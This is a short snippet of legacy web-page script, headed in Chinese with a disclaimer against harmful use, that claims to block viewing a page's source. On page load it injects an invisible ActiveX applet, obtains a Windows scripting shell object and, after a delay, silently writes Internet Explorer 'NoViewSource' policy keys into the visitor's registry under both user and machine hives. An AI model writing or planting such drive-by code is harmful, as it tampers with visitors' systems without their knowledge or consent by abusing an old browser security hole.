不要拿来害人，防止查看源文件

<SCRIPT>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function a(){
try
{
b=document.applets[0];
b.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
b.createInstance();
c = b.GetObject();
try
{
c.RegWrite("HKEY_CURRENT_USER//Software//Policies//Microsoft//Internet Explorer//Restrictions//NoViewSource",1,"REG_DWORD");
c.RegWrite("HKEY_LOCAL_MACHINE//Software//Policies//Microsoft//Internet Explorer//Restrictions//NoViewSource",1,"REG_DWORD");
}
catch(e)
{}
}
catch(e)
{}
}
function d()
{
setTimeout("a()", 3000);
}
d();
</SCRIPT>